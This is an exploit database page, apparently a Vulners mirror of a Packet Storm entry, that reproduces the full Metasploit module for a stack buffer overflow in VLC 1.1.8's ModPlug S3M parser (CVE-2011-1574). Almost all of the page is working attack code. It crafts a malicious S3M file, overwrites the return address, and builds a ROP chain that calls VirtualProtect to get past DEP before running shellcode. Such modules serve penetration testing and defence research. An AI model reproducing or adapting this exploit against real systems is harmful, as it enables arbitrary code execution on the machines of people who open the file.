Lucene search
K

VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow

🗓️ 09 May 2011 00:00:00Reported by jduckType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 65 Views

Stack Buffer Overflow in VideoLAN VLC ModPlu

Related
Code
`##  
# $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',  
'Description' => %q{  
This module exploits an input validation error in libmod_plugin as  
included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9  
are affected. By creating a malicious S3M file, a remote attacker  
could execute arbitrary code.  
  
Although other products that bundle libmodplug may be vulnerable, this  
module was only tested against VLC.  
  
NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to  
permanently enable NX support on machines that support it. As such,  
this module is capable of bypassing DEP, but not ASLR.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 12282 $',  
'References' =>  
[  
[ 'CVE', '2011-1574' ],  
[ 'OSVDB', '72143' ],  
#[ 'BID', 'xxx' ],  
[ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],  
[ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],  
[ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]  
],  
'Payload' =>  
{  
'Space' => 512 - 0x24, # Space reserved for prepended mutex code  
#'DisableNops' => true,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'VLC 1.1.8 on Windows XP SP3',  
{  
# vuln is in libmod_plugin.dll, rop is custom to this module  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09"  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.s3m']),  
], self.class)  
end  
  
def exploit  
  
num_orders = 0x14  
num_instru = 0x15  
num_patterns = 0x18  
  
hdr = "\x00" * 0x1c # song name (none)  
hdr << [  
0x1a, # static byte  
0x10, # ST3 module  
0x00, # padding  
num_orders,  
num_instru,  
num_patterns,  
0x00, # Flags  
0x1320, # Created with (which tracker)  
0x02, # File format information  
].pack('CCvvvvvvv')  
hdr << "SCRM"  
  
hdr << [  
0x40, # global volume  
0x06, # initial speed  
0x8a, # initial tempo  
0xb0, # master volume  
0x10, # ultra click removal  
0xfb # NOTE, non-0xfc value skips an additional loop!  
# 0xfc == default channel pan positions present  
].pack('CCCCCC')  
hdr << "\x00" * 10 # includes pad and special pointer  
  
# channel settings (for 32 channels)  
hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"  
hdr << "\xff" * 16  
  
# orders  
hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"  
hdr << "\x14\x16\x17\xff"  
  
# parapointers to instruments  
hdr << [ 0x0f ].pack('v') * num_instru  
  
# parapoitners to patterns  
hdr << [ 0x78 ].pack('v') * num_patterns  
  
# channel default pan positions  
hdr << "\x00" * 32  
  
# instruments  
instru = "\x01metasplo.ity"  
rest = "\x00" * ((0x50 * num_instru) - instru.length)  
  
# Build the rop stack  
rvas = rvas_libmod_plugin_xpsp3()  
rop = generate_rop(rvas)  
zero_ptr = rva2addr(rvas, 'Scratch') + 4  
mutex_addr = rva2addr(rvas, 'Scratch') + 8  
imp_Sleep = rva2addr(rvas, 'imp_Sleep')  
  
# A mutex to prevent double payloads  
locking_code = <<-EOS  
mov ebx, [ #{imp_Sleep} ]  
jmp test_lock  
  
sleep:  
push 0xdeadbeef  
call ebx  
  
test_lock:  
mov eax, [ #{mutex_addr} ]  
test eax,eax  
jnz sleep  
  
lock cmpxchg [ #{mutex_addr} ], ebp  
test eax,eax  
jnz sleep  
  
EOS  
rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string  
rop << payload.encoded  
  
# This becomes the new EIP (after return)  
ret = rva2addr(rvas, 'pop eax / ret')  
rest[1267, 4] = [ ret ].pack('V')  
  
# In order to force return, we smash the this ptr on the stack and point  
# it so that m_nChannels turns out to be 0.  
rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')  
  
# Add the ROP stack and final payload here  
rest[1275, rop.length] = rop  
instru << rest  
  
# patterns  
patt = [ 0x10 ].pack('v')  
patt << "\x00" * 0x10  
  
  
# finalize the file  
s3m = ""  
s3m << hdr  
  
instru_pad = (0x0f * 0x10) - hdr.length  
s3m << "\x80" * instru_pad  
s3m << instru  
  
  
# patch in exploit trigger values  
s3m[0x22, 2] = [ 0x220 ].pack('v')  
s3m[0x24, 2] = [ 0x220 ].pack('v')  
  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(s3m)  
  
end  
  
def rvas_libmod_plugin_xpsp3()  
# libmod_plugin.dll from VLC 1.1.8 (Win32)  
# Just return this hash  
{  
# Used as 'Ret' for target  
'ret' => 0x1022,  
'push eax / ret' => 0x1cc4d,  
'pop eax / ret' => 0x598a2,  
'mov eax, [eax+0x1c] / ret' => 0x542c9,  
'pop ebx / pop ebp / ret' => 0x25e2f,  
'add eax, 4 / pop ebp / ret' => 0x7028,  
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,  
'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,  
}  
end  
  
def generate_rop(rvas)  
# ROP fun! (XP SP3 English, Apr 10 2011)  
rvas.merge!({  
# Instructions / Name => RVA  
'BaseAddress' => 0x653c0000,  
'imp_VirtualProtect' => 0xec2f0 - 0x1c, # adjust for gadget used to resolve  
'imp_Sleep' => 0xec2dc,  
'Scratch' => 0x5fbfc,  
'Data' => 0x60101,  
#'DataAdjusted' => 0x60000 - 0x58 + 0x8,  
'DataAdjusted' => 0x60000 - 0x58,  
})  
  
copy_stage = <<-EOS  
nop  
push esp  
pop esi  
lea edi, [eax+0x10]  
push 0x7f  
pop ecx  
inc ecx  
rep movsd  
EOS  
copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string  
if (copy_stage.length % 4) > 0  
raise RuntimeError, "The copy stage is invalid"  
end  
  
rop_stack = [  
# Resolve VirtualProtect  
'pop eax / ret',  
'imp_VirtualProtect',  
'mov eax, [eax+0x1c] / ret',  
  
# Call VirtuaProtect  
'push eax / ret',  
'pop eax / ret', # after VirtualProtect  
# Args to VirtualProtect  
'Data', # lpAddress (place holder, filled in @ runtime above)  
0x1000, # dwSize  
0x40, # flNewProtect  
'Scratch', # lpflOldProtect  
  
# Load the pre-adjusted Data addr  
'DataAdjusted', # matches pop eax / ret above  
  
##  
# Write our code little stager to our newly executable memory.  
##  
  
# Load the last 32-bits of code to write  
'pop ebx / pop ebp / ret',  
copy_stage[0, 4].unpack('V').first,  
:unused, # ebp  
  
# Write & advance  
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',  
copy_stage[4, 4].unpack('V').first,  
:unused, # esi  
:unused, # edi  
:unused, # ebp  
'add eax, 4 / pop ebp / ret',  
:unused, # ebp  
  
# Write & advance  
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',  
copy_stage[8, 4].unpack('V').first,  
:unused, # esi  
:unused, # edi  
:unused, # ebp  
'add eax, 4 / pop ebp / ret',  
:unused, # ebp  
  
# Write & advance  
'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',  
0xffffffb0, # adjustment value  
:unused, # esi  
:unused, # edi  
:unused, # ebp  
  
# Adjust eax  
'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',  
:unused, # ebx  
:unused, # edi  
:unused, # ebp  
  
# Execute the copy stage  
'push eax / ret',  
]  
  
rop_stack.map! { |e|  
if e.kind_of? String  
# Meta-replace (RVA)  
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]  
rvas['BaseAddress'] + rvas[e]  
  
elsif e == :unused  
# Randomize  
rand_text(4).unpack('V').first  
  
else  
# Literal  
e  
end  
}  
  
rop_stack.pack('V*')  
end  
  
def rva2addr(rvas, key)  
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]  
rvas['BaseAddress'] + rvas[key]  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 May 2011 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.66323
65